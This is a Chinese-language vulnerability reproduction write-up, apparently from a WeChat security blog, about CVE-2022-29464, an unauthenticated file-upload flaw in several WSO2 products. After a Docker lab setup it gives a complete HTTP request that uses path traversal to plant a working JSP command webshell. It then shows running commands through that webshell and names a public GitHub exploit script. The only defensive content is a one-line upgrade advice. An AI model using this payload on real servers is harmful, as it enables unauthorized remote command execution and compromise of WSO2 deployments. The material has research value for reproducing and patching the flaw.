CVE-2022-29464 WSO2文件上传漏洞是Orange Tsai发现的WSO2上的严重漏洞。该漏洞允许攻击者未授权上传jsp webshell从而在WSO2服务器上执行任意命令。
-
WSO2 API Manager 2.2.0—4.0.0
-
WSO2 Identity Server 5.2.0—5.11.0
-
WSO2 身份服务器5.4.0、5.4.1、5.5.0 和 5.6.0
-
WSO2 Enterprise Integrator 6.2.0—6.6.0
-
WSO2 身份服务器密钥管理器 5.3.0—5.10.0
可从vulfocus中拉取docker漏洞镜像,如图所示,执行命令
docker
pull vulfocus/wso2-cve_2022_29464
拉取漏洞镜像
漏洞镜像拉取完成后,如图所示,执行命令
docker
run -d -it -p
8280
:
8280
-p
8243
:
8243
-p
9443
:
9443
--name cve_2022_29464 vulfocus/wso2-cve_2022_29464
运行漏洞docker环境
漏洞环境启动完成后,访问
https://ip:9443
出现以下页面代表漏洞环境搭建成功
如图所示,构造如下数据包即可未授权在目标服务器上写入cmd webshell
POST
/fileupload/toolsAny
HTTP/1.1
Host
: 192.168.159.130:9443
User-Agent
: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept
: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language
: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding
: gzip, deflate
Connection
: close
Content-Type
: multipart/form-data; boundary=4af6f362a86baadf5ec3177278d4911
Cookie
: session=0cb2ce62-1f82-4c51-8735-229398731d4f.XC9bRwlYo7x31-PjcBFWrJnuG_w; JSESSIONID=C7832D63E80798858C15459A4267966E
Upgrade-Insecure-Requests
: 1
Sec-Fetch-Dest
: document
Sec-Fetch-Mode
: navigate
Sec-Fetch-Site
: cross-site
Content-Length
: 805
-
-4
af6f362a86baadf5ec3177278d4911
Content-Disposition: form-data; name=
"../../../../repository/deployment/server/webapps/authenticationendpoint/cmd.jsp"
; filename=
"../../../../repository/deployment/server/webapps/authenticationendpoint/cmd.jsp"
<%@ page import=
"java.io.*"
%>
<%
String cmd = request.getParameter(
"cmd"
);
String output =
""
;
if
(cmd !=
null
) {
String s =
null
;
try
{
Process p = Runtime.getRuntime().exec(cmd,
null
,
null
);
BufferedReader sI =
new
BufferedReader(
new
InputStreamReader(p.getInputStream()));
while
((s = sI.readLine()) !=
null
) { output += s+
"</br>"
; }
}
catch
(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
-
-4
af6f362a86baadf5ec3177278d4911--
访问
https:
//192.168.159.130:9443/authenticationendpoint/cmd.jsp?cmd=whoami
构造参数cmd和参数值whoami,即可获得WSO2服务器whoami命令执行结果
也可通过漏洞EXP
https:
//github.com/hakivvi/CVE-2022-29464
利用漏洞
如图所示,将EXP下载后,执行
python
exploit.py https://ip:9443/ shell.jsp
即可上传jsp cmdshell至WSO2服务器
访问
https:
/
/ip:9443/
/authenticationendpoint/shell
.jsp
即可通过jsp cmdshell执行任意命令
将存在漏洞的WSO2应用版本升级至安全版本。
原文始发于微信公众号(第59号):CVE-2022-29464 WSO2文件上传漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论